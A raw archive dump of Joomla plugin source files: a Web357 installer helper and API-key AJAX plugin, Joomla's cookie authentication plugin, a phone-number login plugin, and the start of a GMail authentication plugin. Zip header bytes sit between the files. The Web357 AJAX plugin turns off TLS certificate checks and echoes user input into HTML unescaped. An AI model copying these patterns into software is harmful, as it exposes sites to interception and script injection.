		JFactory::getApplication()->setUserState('rl_ignore_uninstall_ids',
$ignore_ids);

		foreach ($ids as $id)
		{
			$tmpInstaller = new JInstaller;
			$tmpInstaller->uninstall($type, $id);
		}

		if ($show_message)
		{
			JFactory::getApplication()->enqueueMessage(
				JText::sprintf(
					'COM_INSTALLER_UNINSTALL_SUCCESS',
					JText::_('COM_INSTALLER_TYPE_TYPE_' . strtoupper($type))
				)
			);
		}
	}

	public function foldersExist($folders = array())
	{
		foreach ($folders as $folder)
		{
			if (is_dir($folder))
			{
				return true;
			}
		}

		return false;
	}

	public function uninstallPlugin($extname, $folder = 'system',
$show_message = true)
	{
		$this->uninstallExtension($extname, 'plugin', $folder,
$show_message);
	}

	public function uninstallComponent($extname, $show_message = true)
	{
		$this->uninstallExtension($extname, 'component', null,
$show_message);
	}

	public function uninstallModule($extname, $show_message = true)
	{
		$this->uninstallExtension($extname, 'module', null,
$show_message);
	}

	public function publishExtension()
	{
		switch ($this->extension_type)
		{
			case 'plugin' :
				$this->publishPlugin();

			case 'module' :
				$this->publishModule();
		}
	}

	public function publishPlugin()
	{
		$query = $this->db->getQuery(true)
			->update('#__extensions')
			->set($this->db->quoteName('enabled') . ' =
1')
			->where($this->db->quoteName('type') . ' =
' . $this->db->quote('plugin'))
			->where($this->db->quoteName('element') . ' =
' . $this->db->quote($this->extname))
			->where($this->db->quoteName('folder') . ' =
' . $this->db->quote($this->plugin_folder));
		$this->db->setQuery($query);
		$this->db->execute();
	}

	public function publishModule()
	{
		// Get module id
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('id'))
			->from('#__modules')
			->where($this->db->quoteName('module') . ' =
' . $this->db->quote('mod_' . $this->extname))
			->where($this->db->quoteName('client_id') . ' =
' . (int) $this->client_id);
		$this->db->setQuery($query, 0, 1);
		$id = $this->db->loadResult();

		if ( ! $id)
		{
			return;
		}

		// check if module is already in the modules_menu table (meaning is is
already saved)
		$query->clear()
			->select($this->db->quoteName('moduleid'))
			->from('#__modules_menu')
			->where($this->db->quoteName('moduleid') . ' =
' . (int) $id);
		$this->db->setQuery($query, 0, 1);
		$exists = $this->db->loadResult();

		if ($exists)
		{
			return;
		}

		// Get highest ordering number in position
		$query->clear()
			->select($this->db->quoteName('ordering'))
			->from('#__modules')
			->where($this->db->quoteName('position') . ' =
' . $this->db->quote($this->module_position))
			->where($this->db->quoteName('client_id') . ' =
' . (int) $this->client_id)
			->order('ordering DESC');
		$this->db->setQuery($query, 0, 1);
		$ordering = $this->db->loadResult();
		$ordering++;

		// publish module and set ordering number
		$query->clear()
			->update('#__modules')
			->set($this->db->quoteName('published') . ' =
1')
			->set($this->db->quoteName('ordering') . ' =
' . (int) $ordering)
			->set($this->db->quoteName('position') . ' =
' . $this->db->quote($this->module_position))
			->where($this->db->quoteName('id') . ' = '
. (int) $id);
		$this->db->setQuery($query);
		$this->db->execute();

		// add module to the modules_menu table
		$query->clear()
			->insert('#__modules_menu')
			->columns(array($this->db->quoteName('moduleid'),
$this->db->quoteName('menuid')))
			->values((int) $id . ', 0');
		$this->db->setQuery($query);
		$this->db->execute();
	}

	public function addInstalledMessage()
	{
		JFactory::getApplication()->enqueueMessage(
			JText::sprintf(
				JText::_($this->install_type == 'update' ?
'W357_THE_EXTENSION_HAS_BEEN_UPDATED_SUCCESSFULLY' :
'W357_THE_EXTENSION_HAS_BEEN_INSTALLED_SUCCESSFULLY'),
				'<strong>' . JText::_($this->name) .
'</strong>',
				'<strong>' . $this->getVersion() .
'</strong>',
				$this->getFullType()
			)
		);
	}

	public function getPrefix()
	{
		switch ($this->extension_type)
		{
			case 'plugin';
				return JText::_('plg_' .
strtolower($this->plugin_folder));

			case 'component':
				return JText::_('com');

			case 'module':
				return JText::_('mod');

			case 'library':
				return JText::_('lib');

			default:
				return $this->extension_type;
		}
	}

	public function getElementName($type = null, $extname = null)
	{
		$type    = is_null($type) ? $this->extension_type : $type;
		$extname = is_null($extname) ? $this->extname : $extname;

		switch ($type)
		{
			case 'component' :
				return 'com_' . $extname;

			case 'module' :
				return 'mod_' . $extname;

			case 'plugin' :
			default:
				return $extname;
		}
	}

	public function getFullType()
	{
		return JText::_('W357_' . strtoupper($this->getPrefix()));
	}

	public function getVersion($file = '')
	{
		$file = $file ?: $this->getCurrentXMLFile();

		if ( ! is_file($file))
		{
			return '';
		}

		$xml = JInstaller::parseXMLInstallFile($file);

		if ( ! $xml || ! isset($xml['version']))
		{
			return '';
		}

		return $xml['version'];
	}

	public function isNewer()
	{
		if ( ! $installed_version =
$this->getVersion($this->getInstalledXMLFile()))
		{
			return true;
		}

		$package_version = $this->getVersion();
		return version_compare($installed_version, $package_version,
'<=');
	}

	public function canInstall()
	{
		// The extension is not installed yet
		if ( ! $installed_version =
$this->getVersion($this->getInstalledXMLFile()))
		{
			return true;
		}

		// The free version is installed. So any version is ok to install
		if (strpos($installed_version, 'PRO') === false)
		{
			return true;
		}

		// Current package is a pro version, so all good
		if (strpos($this->getVersion(), 'PRO') !== false)
		{
			return true;
		}

		JFactory::getLanguage()->load($this->getPrefix() . '_' .
$this->extname, __DIR__);

		JFactory::getApplication()->enqueueMessage(JText::_('W357_ERROR_PRO_TO_FREE'),
'error');

		JFactory::getApplication()->enqueueMessage(
			html_entity_decode(
				JText::sprintf(
					'W357_ERROR_UNINSTALL_FIRST',
					'<a href="//www.web357.com/product/' .
$this->url_alias . '" target="_blank">',
					'</a>',
					JText::_($this->name)
				)
			), 'error'
		);

		return false;
	}

	public function onBeforeInstall($route)
	{
		if ( ! $this->canInstall())
		{
			return false;
		}

		return true;
	}

	public function onAfterInstall($route)
	{
	}

	public function delete($files = array())
	{
		foreach ($files as $file)
		{
			if (is_dir($file) && JFolder::exists($file))
			{
				JFolder::delete($file);
			}

			if (is_file($file) && JFile::exists($file))
			{
				JFile::delete($file);
			}
		}
	}

	public function fixAssetsRules($rules =
'{"core.admin":[],"core.manage":[]}')
	{
		// replace default rules value {} with the correct initial value
		$query = $this->db->getQuery(true)
			->update($this->db->quoteName('#__assets'))
			->set($this->db->quoteName('rules') . ' = '
. $this->db->quote($rules))
			->where($this->db->quoteName('title') . ' =
' . $this->db->quote('com_' . $this->extname))
			->where($this->db->quoteName('rules') . ' =
' . $this->db->quote('{}'));
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function updateHttptoHttpsInUpdateSites()
	{
		$query = $this->db->getQuery(true)
			->update('#__update_sites')
			->set($this->db->quoteName('location') . ' =
REPLACE('
				. $this->db->quoteName('location') . ', '
				. $this->db->quote('http://') . ', '
				. $this->db->quote('https://')
				. ')')
			->where($this->db->quoteName('location') . '
LIKE ' . $this->db->quote('http://updates.web357%'));
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function removeGlobalLanguageFiles()
	{
		if ($this->extension_type == 'library' || $this->alias
=== 'web357framework')
		{
			return;
		}

		$language_files = JFolder::files(JPATH_ADMINISTRATOR .
'/language', '\.' . $this->getPrefix() .
'_' . $this->extname . '\.', true, true);

		// Remove override files
		foreach ($language_files as $i => $language_file)
		{
			if (strpos($language_file, '/overrides/') === false)
			{
				continue;
			}

			unset($language_files[$i]);
		}

		if (empty($language_files))
		{
			return;
		}

		JFile::delete($language_files);
	}

	private function removeUnusedLanguageFiles()
	{
		if ($this->extension_type == 'library')
		{
			return;
		}

		$main_language_dir_path = JFolder::folders(__DIR__ .
'/language');

		$installed_languages = array_merge(
			JFolder::folders(JPATH_SITE . '/language'),
			JFolder::folders(JPATH_ADMINISTRATOR . '/language')
		);

		$languages = array();
		if (is_array($main_language_dir_path) &&
is_array($installed_languages))
		{
			$languages = array_diff(
				$main_language_dir_path,
				$installed_languages 
			);
		}

		$delete_languages = array();

		if (!empty($languages))
		{
			foreach ($languages as $language)
			{
				$delete_languages[] = $this->getMainFolder() .
'/language/' . $language;
			}
		}

		if (empty($delete_languages))
		{
			return;
		}

		// Remove folders
		$this->delete($delete_languages);
	}
}PK	�[mb����'ajax/web357framework/script.install.phpnu�[���<?php
/* ======================================================
 # Web357 Framework for Joomla! - v1.9.1 (free version)
 # -------------------------------------------------------
 # For Joomla! CMS (v3.x)
 # Author: Web357 (Yiannis Christodoulou)
 # Copyright (©) 2014-2022 Web357. All rights reserved.
 # License: GNU/GPLv3, http://www.gnu.org/licenses/gpl-3.0.html
 # Website: https:/www.web357.com
 # Demo: https://demo.web357.com/joomla/
 # Support: support@web357.com
 # Last modified: Wednesday 07 December 2022, 11:05:26 AM
 ========================================================= */

 
defined('_JEXEC') or die;

require_once __DIR__ . '/script.install.helper.php';

class PlgAjaxWeb357frameworkInstallerScript extends
PlgAjaxWeb357frameworkInstallerScriptHelper
{
	public $name           	= 'Web357 Framework';
	public $alias          	= 'web357framework';
	public $extension_type 	= 'plugin';
	public $plugin_folder   = 'ajax';
}PK	�[2�F*dd(ajax/web357framework/web357framework.phpnu�[���<?php
/* ======================================================
 # Web357 Framework for Joomla! - v1.9.1 (free version)
 # -------------------------------------------------------
 # For Joomla! CMS (v3.x)
 # Author: Web357 (Yiannis Christodoulou)
 # Copyright (©) 2014-2022 Web357. All rights reserved.
 # License: GNU/GPLv3, http://www.gnu.org/licenses/gpl-3.0.html
 # Website: https:/www.web357.com
 # Demo: https://demo.web357.com/joomla/
 # Support: support@web357.com
 # Last modified: Wednesday 07 December 2022, 11:05:26 AM
 ========================================================= */

 
defined('_JEXEC') or die;
use Joomla\Filter\InputFilter;

// Import library dependencies
jimport('joomla.plugin.plugin');

class plgAjaxWeb357Framework extends JPlugin
{
    function onAjaxWeb357framework()
    {
		$app = JFactory::getApplication();
		$method = $app->input->get('method', '',
'STRING');

		// Method to activate the Web357 Api Key
		if ($method == 'web357ApikeyValidation')
		{
			return $this->web357ApikeyValidation();
		}

		return '';
    }

	/**
	 * Method to activate the Web357 Api Key
	 */
	private function web357ApikeyValidation()
	{
		$app = JFactory::getApplication();
		if ($app->isClient('administrator'))
		{		
			$data  = $app->input->post->get('jform', array(),
'array');
			$get_api_key = isset($data['params']['apikey']) ?
$data['params']['apikey'] : null;
			$get_domain = isset($data['params']['domain']) ?
$data['params']['domain'] : null;

			if (empty($get_api_key))
			{
				return '<div style="margin: 20px 0; display:none;"
id="w357-activated-successfully-msg-ajax" class="alert
alert-danger"><span
class="icon-cancel"></span> '.JText::_('The
Api Key cannot be empty.').'</div>';
			}

			// Create the request Array.
			$paramArr = array(
				'domain'    => $get_domain,
			);

			// Create an Http Query.
			$paramArr = http_build_query($paramArr);
			
			// Post
			$url =
'https://www.web357.com/wp-json/web357-api-key/v1/status/'.$get_api_key;
			$ch = curl_init();
			curl_setopt($ch, CURLOPT_URL,$url);
			curl_setopt($ch, CURLOPT_POST, 1);
			curl_setopt($ch, CURLOPT_POSTFIELDS, $paramArr);
			curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
			curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
			curl_setopt($ch, CURLOPT_FRESH_CONNECT, 1);			

			$resp = curl_exec($ch);
			curl_close($ch);

			if ($resp === FALSE || empty($resp) || $resp == '') 
			{
				return '<div style="margin: 20px 0;display:none;"
id="w357-activated-successfully-msg-ajax" class="alert
alert-danger"><span
class="icon-cancel"></span> '.JText::_('Call
with web357.com has been failed.<br>Please, try again later or
contact us at support@web357.com.').'</div>';
			} 
			else 
			{
				$resp = json_decode($resp);
				
				if (isset($resp->req->data->status) &&
($resp->req->data->status == 'ok' ||
$resp->req->data->status == 'ok_old_api_key'))
				{
					return '<div style="margin: 20px 0;display:none;"
id="w357-activated-successfully-msg-ajax" class="alert
alert-success"><span
class="icon-save"></span> '.JText::_('Your API
Key ('. $get_api_key . ') has been successfully
activated.').'</div>';
				}
				elseif ($resp->code == 'error' &&
!empty($resp->message))
				{
					return '<div style="margin: 20px 0;display:none;"
id="w357-activated-successfully-msg-ajax" class="alert
alert-danger"><span
class="icon-cancel"></span>
'.JText::_($resp->message).'</div>';
				}
				else
				{
					return '<div style="margin: 20px 0; display:none;"
id="w357-activated-successfully-msg-ajax" class="alert
alert-danger"><span
class="icon-cancel"></span> '.JText::_('Call
with Web357\'s License Manager has been failed. <br>Please, try
again later or contact us at
support@web357.com.').'</div>';
				}
			}
		}
		else
		{
			JError::raiseError(403, '');
			return;
		}
	}
}PK	�[�Y����(ajax/web357framework/web357framework.xmlnu�[���<?xml
version="1.0" encoding="utf-8"?>
<extension version="3.4" type="plugin"
group="ajax" method="upgrade">
	<name>PLG_AJAX_WEB357FRAMEWORK</name>
	<author>Web357 (Yiannis Christodoulou)</author>
	<creationDate>14-Oct-2021</creationDate>
	<copyright>Copyright (©) 2014-2022 Web357. All rights
reserved.</copyright>
	<license>GNU/GPLv3,
http://www.gnu.org/licenses/gpl-3.0.html</license>
	<authorEmail>support@web357.com</authorEmail>
	<authorUrl>https:/www.web357.com</authorUrl>
	<version>1.9.1</version>
	<variant>pro</variant>
	<description></description>

	<files>
		<folder>language</folder>
		<filename
plugin="web357framework">web357framework.php</filename>
		<filename>index.html</filename>
		<filename>script.install.helper.php</filename>
	</files>

	<scriptfile>script.install.php</scriptfile>

	<updateservers><server type="extension"
priority="1" name="Web357
Framework"><![CDATA[https://updates.web357.com/web357framework/web357framework.xml]]></server></updateservers>

</extension>PK	�[M���-�-
authentication/cookie/cookie.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Authentication.cookie
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Joomla Authentication plugin
 *
 * @since  3.2
 * @note   Code based on
http://jaspan.com/improved_persistent_login_cookie_best_practice
 *         and
http://fishbowl.pastiche.org/2004/01/19/persistent_login_cookie_best_practice/
 */
class PlgAuthenticationCookie extends JPlugin
{
	/**
	 * Application object
	 *
	 * @var    JApplicationCms
	 * @since  3.2
	 */
	protected $app;

	/**
	 * Database object
	 *
	 * @var    JDatabaseDriver
	 * @since  3.2
	 */
	protected $db;

	/**
	 * Reports the privacy related capabilities for this plugin to site
administrators.
	 *
	 * @return  array
	 *
	 * @since   3.9.0
	 */
	public function onPrivacyCollectAdminCapabilities()
	{
		$this->loadLanguage();

		return array(
			JText::_('PLG_AUTHENTICATION_COOKIE') => array(
				JText::_('PLG_AUTH_COOKIE_PRIVACY_CAPABILITY_COOKIE'),
			)
		);
	}

	/**
	 * This method should handle any authentication and report back to the
subject
	 *
	 * @param   array   $credentials  Array holding the user credentials
	 * @param   array   $options      Array of extra options
	 * @param   object  &$response    Authentication response object
	 *
	 * @return  boolean
	 *
	 * @since   3.2
	 */
	public function onUserAuthenticate($credentials, $options, &$response)
	{
		// No remember me for admin
		if ($this->app->isClient('administrator'))
		{
			return false;
		}

		// Get cookie
		$cookieName  = 'joomla_remember_me_' .
JUserHelper::getShortHashedUserAgent();
		$cookieValue = $this->app->input->cookie->get($cookieName);

		// Try with old cookieName (pre 3.6.0) if not found
		if (!$cookieValue)
		{
			$cookieName  = JUserHelper::getShortHashedUserAgent();
			$cookieValue = $this->app->input->cookie->get($cookieName);
		}

		if (!$cookieValue)
		{
			return false;
		}

		$cookieArray = explode('.', $cookieValue);

		// Check for valid cookie value
		if (count($cookieArray) !== 2)
		{
			// Destroy the cookie in the browser.
			$this->app->input->cookie->set($cookieName, '', 1,
$this->app->get('cookie_path', '/'),
$this->app->get('cookie_domain', ''));
			JLog::add('Invalid cookie detected.', JLog::WARNING,
'error');

			return false;
		}

		$response->type = 'Cookie';

		// Filter series since we're going to use it in the query
		$filter = new JFilterInput;
		$series = $filter->clean($cookieArray[1], 'ALNUM');

		// Remove expired tokens
		$query = $this->db->getQuery(true)
			->delete('#__user_keys')
			->where($this->db->quoteName('time') . ' <
' . $this->db->quote(time()));

		try
		{
			$this->db->setQuery($query)->execute();
		}
		catch (RuntimeException $e)
		{
			// We aren't concerned with errors from this query, carry on
		}

		// Find the matching record if it exists.
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName(array('user_id',
'token', 'series', 'time')))
			->from($this->db->quoteName('#__user_keys'))
			->where($this->db->quoteName('series') . ' =
' . $this->db->quote($series))
			->where($this->db->quoteName('uastring') . ' =
' . $this->db->quote($cookieName))
			->order($this->db->quoteName('time') . '
DESC');

		try
		{
			$results = $this->db->setQuery($query)->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			$response->status = JAuthentication::STATUS_FAILURE;

			return false;
		}

		if (count($results) !== 1)
		{
			// Destroy the cookie in the browser.
			$this->app->input->cookie->set($cookieName, '', 1,
$this->app->get('cookie_path', '/'),
$this->app->get('cookie_domain', ''));
			$response->status = JAuthentication::STATUS_FAILURE;

			return false;
		}

		// We have a user with one cookie with a valid series and a corresponding
record in the database.
		if (!JUserHelper::verifyPassword($cookieArray[0], $results[0]->token))
		{
			/*
			 * This is a real attack!
			 * Either the series was guessed correctly or a cookie was stolen and
used twice (once by attacker and once by victim).
			 * Delete all tokens for this user!
			 */
			$query = $this->db->getQuery(true)
				->delete('#__user_keys')
				->where($this->db->quoteName('user_id') . ' =
' . $this->db->quote($results[0]->user_id));

			try
			{
				$this->db->setQuery($query)->execute();
			}
			catch (RuntimeException $e)
			{
				// Log an alert for the site admin
				JLog::add(
					sprintf('Failed to delete cookie token for user %s with the
following error: %s', $results[0]->user_id, $e->getMessage()),
					JLog::WARNING,
					'security'
				);
			}

			// Destroy the cookie in the browser.
			$this->app->input->cookie->set($cookieName, '', 1,
$this->app->get('cookie_path', '/'),
$this->app->get('cookie_domain', ''));

			// Issue warning by email to user and/or admin?
			JLog::add(JText::sprintf('PLG_AUTH_COOKIE_ERROR_LOG_LOGIN_FAILED',
$results[0]->user_id), JLog::WARNING, 'security');
			$response->status = JAuthentication::STATUS_FAILURE;

			return false;
		}

		// Make sure there really is a user with this name and get the data for
the session.
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName(array('id',
'username', 'password')))
			->from($this->db->quoteName('#__users'))
			->where($this->db->quoteName('username') . ' =
' . $this->db->quote($results[0]->user_id))
			->where($this->db->quoteName('requireReset') . '
= 0');

		try
		{
			$result = $this->db->setQuery($query)->loadObject();
		}
		catch (RuntimeException $e)
		{
			$response->status = JAuthentication::STATUS_FAILURE;

			return false;
		}

		if ($result)
		{
			// Bring this in line with the rest of the system
			$user = JUser::getInstance($result->id);

			// Set response data.
			$response->username = $result->username;
			$response->email    = $user->email;
			$response->fullname = $user->name;
			$response->password = $result->password;
			$response->language = $user->getParam('language');

			// Set response status.
			$response->status        = JAuthentication::STATUS_SUCCESS;
			$response->error_message = '';
		}
		else
		{
			$response->status        = JAuthentication::STATUS_FAILURE;
			$response->error_message =
JText::_('JGLOBAL_AUTH_NO_USER');
		}
	}

	/**
	 * We set the authentication cookie only after login is successfully
finished.
	 * We set a new cookie either for a user with no cookies or one
	 * where the user used a cookie to authenticate.
	 *
	 * @param   array  $options  Array holding options
	 *
	 * @return  boolean  True on success
	 *
	 * @since   3.2
	 */
	public function onUserAfterLogin($options)
	{
		// No remember me for admin
		if ($this->app->isClient('administrator'))
		{
			return false;
		}

		if (isset($options['responseType']) &&
$options['responseType'] === 'Cookie')
		{
			// Logged in using a cookie
			$cookieName = 'joomla_remember_me_' .
JUserHelper::getShortHashedUserAgent();

			// We need the old data to get the existing series
			$cookieValue = $this->app->input->cookie->get($cookieName);

			// Try with old cookieName (pre 3.6.0) if not found
			if (!$cookieValue)
			{
				$oldCookieName = JUserHelper::getShortHashedUserAgent();
				$cookieValue   =
$this->app->input->cookie->get($oldCookieName);

				// Destroy the old cookie in the browser
				$this->app->input->cookie->set($oldCookieName,
'', 1, $this->app->get('cookie_path',
'/'), $this->app->get('cookie_domain',
''));
			}

			$cookieArray = explode('.', $cookieValue);

			// Filter series since we're going to use it in the query
			$filter = new JFilterInput;
			$series = $filter->clean($cookieArray[1], 'ALNUM');
		}
		elseif (!empty($options['remember']))
		{
			// Remember checkbox is set
			$cookieName = 'joomla_remember_me_' .
JUserHelper::getShortHashedUserAgent();

			// Create a unique series which will be used over the lifespan of the
cookie
			$unique     = false;
			$errorCount = 0;

			do
			{
				$series = JUserHelper::genRandomPassword(20);
				$query  = $this->db->getQuery(true)
					->select($this->db->quoteName('series'))
					->from($this->db->quoteName('#__user_keys'))
					->where($this->db->quoteName('series') . ' =
' . $this->db->quote($series));

				try
				{
					$results = $this->db->setQuery($query)->loadResult();

					if ($results === null)
					{
						$unique = true;
					}
				}
				catch (RuntimeException $e)
				{
					$errorCount++;

					// We'll let this query fail up to 5 times before giving up,
there's probably a bigger issue at this point
					if ($errorCount === 5)
					{
						return false;
					}
				}
			}

			while ($unique === false);
		}
		else
		{
			return false;
		}

		// Get the parameter values
		$lifetime = $this->params->get('cookie_lifetime', 60) *
24 * 60 * 60;
		$length   = $this->params->get('key_length', 16);

		// Generate new cookie
		$token       = JUserHelper::genRandomPassword($length);
		$cookieValue = $token . '.' . $series;

		// Overwrite existing cookie with new value
		$this->app->input->cookie->set(
			$cookieName,
			$cookieValue,
			time() + $lifetime,
			$this->app->get('cookie_path', '/'),
			$this->app->get('cookie_domain', ''),
			$this->app->isHttpsForced(),
			true
		);

		$query = $this->db->getQuery(true);

		if (!empty($options['remember']))
		{
			// Create new record
			$query
				->insert($this->db->quoteName('#__user_keys'))
				->set($this->db->quoteName('user_id') . ' =
' . $this->db->quote($options['user']->username))
				->set($this->db->quoteName('series') . ' =
' . $this->db->quote($series))
				->set($this->db->quoteName('uastring') . ' =
' . $this->db->quote($cookieName))
				->set($this->db->quoteName('time') . ' = '
. (time() + $lifetime));
		}
		else
		{
			// Update existing record with new token
			$query
				->update($this->db->quoteName('#__user_keys'))
				->where($this->db->quoteName('user_id') . ' =
' . $this->db->quote($options['user']->username))
				->where($this->db->quoteName('series') . ' =
' . $this->db->quote($series))
				->where($this->db->quoteName('uastring') . ' =
' . $this->db->quote($cookieName));
		}

		$hashedToken = JUserHelper::hashPassword($token);

		$query->set($this->db->quoteName('token') . ' =
' . $this->db->quote($hashedToken));

		try
		{
			$this->db->setQuery($query)->execute();
		}
		catch (RuntimeException $e)
		{
			return false;
		}

		return true;
	}

	/**
	 * This is where we delete any authentication cookie when a user logs out
	 *
	 * @param   array  $options  Array holding options (length,
timeToExpiration)
	 *
	 * @return  boolean  True on success
	 *
	 * @since   3.2
	 */
	public function onUserAfterLogout($options)
	{
		// No remember me for admin
		if ($this->app->isClient('administrator'))
		{
			return false;
		}

		$cookieName  = 'joomla_remember_me_' .
JUserHelper::getShortHashedUserAgent();
		$cookieValue = $this->app->input->cookie->get($cookieName);

		// There are no cookies to delete.
		if (!$cookieValue)
		{
			return true;
		}

		$cookieArray = explode('.', $cookieValue);

		// Filter series since we're going to use it in the query
		$filter = new JFilterInput;
		$series = $filter->clean($cookieArray[1], 'ALNUM');

		// Remove the record from the database
		$query = $this->db->getQuery(true)
			->delete('#__user_keys')
			->where($this->db->quoteName('series') . ' =
' . $this->db->quote($series));

		try
		{
			$this->db->setQuery($query)->execute();
		}
		catch (RuntimeException $e)
		{
			// We aren't concerned with errors from this query, carry on
		}

		// Destroy the cookie
		$this->app->input->cookie->set($cookieName, '', 1,
$this->app->get('cookie_path', '/'),
$this->app->get('cookie_domain', ''));

		return true;
	}
}
PK	�[.��
authentication/cookie/cookie.xmlnu�[���<?xml
version="1.0" encoding="utf-8"?>
<extension version="3.2" type="plugin"
group="authentication" method="upgrade">
	<name>plg_authentication_cookie</name>
	<author>Joomla! Project</author>
	<creationDate>July 2013</creationDate>
	<copyright>Copyright (C) 2005 - 2020 Open Source Matters. All rights
reserved.</copyright>
	<license>GNU General Public License version 2 or later; see
LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_AUTH_COOKIE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="cookie">cookie.php</filename>
	</files>
	<languages>
		<language
tag="en-GB">en-GB.plg_authentication_cookie.ini</language>
		<language
tag="en-GB">en-GB.plg_authentication_cookie.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="cookie_lifetime"
					type="number"
					label="PLG_AUTH_COOKIE_FIELD_COOKIE_LIFETIME_LABEL"
					description="PLG_AUTH_COOKIE_FIELD_COOKIE_LIFETIME_DESC"
					default="60"
					filter="integer"
					required="true"
				/>

				<field
					name="key_length"
					type="list"
					label="PLG_AUTH_COOKIE_FIELD_KEY_LENGTH_LABEL"
					description="PLG_AUTH_COOKIE_FIELD_KEY_LENGTH_DESC"
					default="16"
					filter="integer"
					required="true"
					>
					<option value="8">8</option>
					<option value="16">16</option>
					<option value="32">32</option>
					<option value="64">64</option>
				</field>

			</fieldset>
		</fields>
	</config>
</extension>
PK	�[�ZѦ��authentication/email/email.phpnu�[���<?php

/**
 * @version		$Id: email.php 20196 2011-03-04 02:40:25Z mrichey $
 * @package		plg_auth_email
 * @copyright	Copyright (C) 2005 - 2011 Michael Richey. All rights
reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */
// No direct access
defined('_JEXEC') or die;

jimport('joomla.plugin.plugin');

class plgAuthenticationEmail extends JPlugin {

    /**
     * This method should handle any authentication and report back to the
subject
     */
    function onUserAuthenticate(&$credentials, $options,
&$response) {


        // Get a database object
        $db = JFactory::getDbo();
        $query = $db->getQuery(true);

        $query->select('u.id, username, password');
       
$query->from($db->quoteName('#__users','u'));
       
$query->join('inner',$db->quoteName('#__reservation_consultant','co')
.'on
('.$db->quoteName('co.userid').'='.$db->quoteName('u.id').')'
);
        $query->where(
$db->quoteName('co.phonenumber').'='.$db->Quote($credentials['username']));

        $db->setQuery($query);
        $result = $db->loadObject();
        if (empty($result))
        {
            $db = JFactory::getDbo();
            $query = $db->getQuery(true);

            $query->select('u.id, username, password');
           
$query->from($db->quoteName('#__users','u'));
           
$query->join('inner',$db->quoteName('#__reservation_sick','s')
.'on
('.$db->quoteName('s.userid').'='.$db->quoteName('u.id').')'
);
            $query->where(
$db->quoteName('s.phoneNumber').'='.$db->Quote($credentials['username']));

            $db->setQuery($query);
            $result = $db->loadObject();
        }


        if ($result) {
            // why mess with re-creating authentication - just use the
system.
            $credentials['username'] = $result->username;
            require_once JPATH_PLUGINS .
'/authentication/joomla/joomla.php';
            PlgAuthenticationJoomla::onUserAuthenticate($credentials,
$options, $response);
        } else {
            $response->status = JAuthentication::STATUS_FAILURE;
            $response->error_message =
JText::_('JGLOBAL_AUTH_INVALID_PASS');            
        }
    }

}
PK	�[W�����authentication/email/email.xmlnu�[���<?xml
version="1.0" encoding="utf-8"?>
<extension version="2.5" type="plugin"
group="authentication" method="upgrade">
	<name>plg_authentication_email</name>
	<author>Michael Richey</author>
	<creationDate>March 2011</creationDate>
	<copyright>Copyright (C) 2005 - 2011 Michael Richey. All rights
reserved.</copyright>
	<license>GNU General Public License version 2 or later; see
LICENSE.txt</license>
	<authorEmail>authemail@richeyweb.com</authorEmail>
	<authorUrl>www.richeyweb.com</authorUrl>
	<version>2.3.1</version>
	<description>PLG_AUTH_EMAIL_XML_DESCRIPTION</description>
	<files>
		<filename plugin="email">email.php</filename>
		<filename>index.html</filename>
	</files>
	<languages folder="language">
		<language
tag="en-GB">en-GB/en-GB.plg_authentication_email.ini</language>
		<language
tag="en-GB">en-GB/en-GB.plg_authentication_email.sys.ini</language>
	</languages>
</extension>
PK	�[���authentication/email/index.htmlnu�[���<html>
<body>
</body>
</html>PK	�[�/jjauthentication/gmail/gmail.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Authentication.gmail
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Authentication\AuthenticationResponse;
use Joomla\Registry\Registry;

/**
 * GMail Authentication Plugin
 *
 * @since  1.5
 */
class PlgAuthenticationGMail extends JPlugin
{
	/**
	 * This method should handle any authentication and report back to the
subject
	 *
	 * @param   array                   $credentials  Array holding the user
credentials
	 * @param   array                   $options      Array of extra options
	 * @param   AuthenticationResponse  &$response    Authentication
response object
	 *
	 * @return  void
	 *
	 * @since   1.5
	 */
	public function onUserAuthenticate($credentials, $options, &$response)
	{
		// Load plugin language
		$this->loadLanguage();

		// No backend authentication
		if (JFactory::getApplication()->isClient('administrator')
&& !$this->params->get('backendLogin', 0))
		{
			return;
		}

		$success = false;

		$curlParams = array(
			'follow_location' => true,
			'transport.curl'  => array(
				CURLOPT_SSL_VERIFYPEER =>
$this->params->get('verifypeer', 1)
			),
		);

		$transportParams = new Registry($curlParams);

		try
		{
			$http = JHttpFactory::getHttp($transportParams, 'curl');
		}
		catch (RuntimeException $e)
		{
			$response->status        = JAuthentication::STATUS_FAILURE;
			$response->type          = 'GMail';
			$response->error_message =
JText::sprintf('JGLOBAL_AUTH_FAILED',
JText::_('JGLOBAL_AUTH_CURL_NOT_INSTALLED'));

			return;
		}

		// Check if we have a username and password
		if ($credentials['username'] === '' ||
$credentials['password'] === '')
		{
			$response->type          = 'GMail';
			$response->status        = JAuthentication::STATUS_FAILURE;
			$response->error_message =
JText::sprintf('JGLOBAL_AUTH_FAILED',
JText::_('JGLOBAL_AUTH_USER_BLACKLISTED'));

			return;
		}

		$blacklist = explode(',',
$this->params->get('user_blacklist', ''));

		// Check if the username isn't blacklisted
		if (in_array($credentials['username'], $blacklist))
		{
			$response->type          = 'GMail';
			$response->status        = JAuthentication::STATUS_FAILURE;
			$response->error_message =
JText::sprintf('JGLOBAL_AUTH_FAILED',
